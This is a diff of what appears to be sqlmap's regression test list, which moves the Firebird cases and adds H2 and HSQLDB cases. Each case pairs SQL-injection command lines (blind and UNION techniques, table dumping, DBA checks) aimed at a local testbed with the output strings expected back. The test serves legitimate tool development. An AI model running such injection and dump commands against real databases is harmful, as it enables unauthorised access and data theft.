@@ -143,11 +143,6 @@ def bedTest():
143143 """
144144
145145 TESTS = (
146- # Firebird
147- ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\" SELECT 'foobar'\" " , ("banner: '2.5" , "Table: USERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Payload: id=1 AND " , "possible DBMS: 'Firebird'" , "the back-end DBMS is Firebird" , "current user is DBA: True" , ": 'foobar'" )),
148- ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\" SELECT 'foobar'\" " , ("banner: '2.5" , "Table: USERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Title: Generic UNION query (NULL) - 3 columns" , "the back-end DBMS is Firebird" , "appears to have 3 columns" , "current user is DBA: True" , ": 'foobar'" )),
149- ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'" , ("banner: '2.5" , "current user: 'SYSDBA'" , "[1 column]" , "| SURNAME | VARCHAR |" )),
150-
151146 # Altibase
152147 ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("x86_64-unknown-linux-gnu" , "Database: SYS" , "Table: TESTUSERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Payload: id=1 AND " , "back-end DBMS could be 'Altibase'" , "the back-end DBMS is Altibase" , "current user is DBA: True" , ": 'foobar'" )),
153148 ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("x86_64-unknown-linux-gnu" , "Database: SYS" , "Table: TESTUSERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Title: Generic UNION query (NULL) - 3 columns" , "the back-end DBMS is Altibase" , "appears to have 3 columns" , "current user is DBA: True" , ": 'foobar'" )),
@@ -168,6 +163,21 @@ def bedTest():
168163 ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("7.1.36-stable" , "Drizzle fork" , "Database: testdb" , "Table: testusers" , "5 entries" , "id" , "name" , "surname" , "luther" , "blisset" , "NULL" , "Title: Generic UNION query (NULL) - 3 columns" , "the back-end DBMS is MySQL" , "appears to have 3 columns" , "current user is DBA: True" , ": 'foobar'" )),
169164 ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'" , ("Title: AND boolean-based blind" , "Title: MySQL >= 5.0.12 AND time-based blind" , "Title: Generic UNION query (NULL) - 3 columns" , "7.1.36-stable" , "current database: 'testdb'" , "current user: 'root'" , "[1 column]" , "| surname | VARCHAR |" )),
170165
166+ # Firebird
167+ ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\" SELECT 'foobar'\" " , ("banner: '2.5" , "Table: USERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Payload: id=1 AND " , "possible DBMS: 'Firebird'" , "the back-end DBMS is Firebird" , "current user is DBA: True" , ": 'foobar'" )),
168+ ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\" SELECT 'foobar'\" " , ("banner: '2.5" , "Table: USERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Title: Generic UNION query (NULL) - 3 columns" , "the back-end DBMS is Firebird" , "appears to have 3 columns" , "current user is DBA: True" , ": 'foobar'" )),
169+ ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'" , ("banner: '2.5" , "current user: 'SYSDBA'" , "[1 column]" , "| SURNAME | VARCHAR |" )),
170+
171+ # H2
172+ ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("1.4.192" , "Database: PUBLIC" , "Table: TESTUSERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Payload: id=1 AND " , "back-end DBMS could be 'H2'" , "the back-end DBMS is H2" , "current user is DBA: True" , ": 'foobar'" )),
173+ ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("1.4.192" , "Database: PUBLIC" , "Table: TESTUSERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Title: Generic UNION query (NULL) - 3 columns" , "the back-end DBMS is H2" , "appears to have 3 columns" , "current user is DBA: True" , ": 'foobar'" )),
174+ ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'" , ("Title: AND boolean-based blind" , "Title: Generic inline queries" , "Title: Generic UNION query (NULL) - 3 columns" , "1.4.192" , "current schema (equivalent to database on H2): 'PUBLIC'" , "current user: 'SA'" , "[1 column]" , "| SURNAME | VARCHAR |" )),
175+
176+ # HSQLDB
177+ ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("2.3.4" , "Database: PUBLIC" , "Table: TESTUSERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Payload: id=1 AND " , "it looks like the back-end DBMS is 'HSQLDB'" , "the back-end DBMS is HSQLDB" , "current user is DBA: True" , ": 'foobar'" )),
178+ ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("2.3.4" , "Database: PUBLIC" , "Table: TESTUSERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Title: Generic UNION query (NULL) - 3 columns" , "the back-end DBMS is HSQLDB" , "appears to have 3 columns" , "current user is DBA: True" , ": 'foobar'" )),
179+ ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'" , ("Title: AND boolean-based blind" , "Title: HSQLDB > 2.0 AND time-based blind (heavy query)" , "Title: Generic UNION query (NULL) - 3 columns" , "2.3.4" , "current schema (equivalent to database on HSQLDB): 'PUBLIC'" , "current user: 'SA'" , "[1 column]" , "| SURNAME | VARCHAR |" )),
180+
171181 # IBM DB2
172182 ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("banner: 'DB2 v" , "Database: DB2INST1" , "Table: USERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Payload: id=1 AND " , "it looks like the back-end DBMS is 'IBM DB2'" , "the back-end DBMS is IBM DB2" , "current user is DBA: True" , ": 'foobar'" )),
173183 ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\" SELECT 'foobar'\" " , ("banner: 'DB2 v" , "Database: DB2INST1" , "Table: USERS" , "5 entries" , "ID" , "NAME" , "SURNAME" , "luther" , "blisset" , "NULL" , "Title: Generic UNION query (NULL) - 3 columns" , "the back-end DBMS is IBM DB2" , "appears to have 3 columns" , "current user is DBA: True" , ": 'foobar'" )),
0 commit comments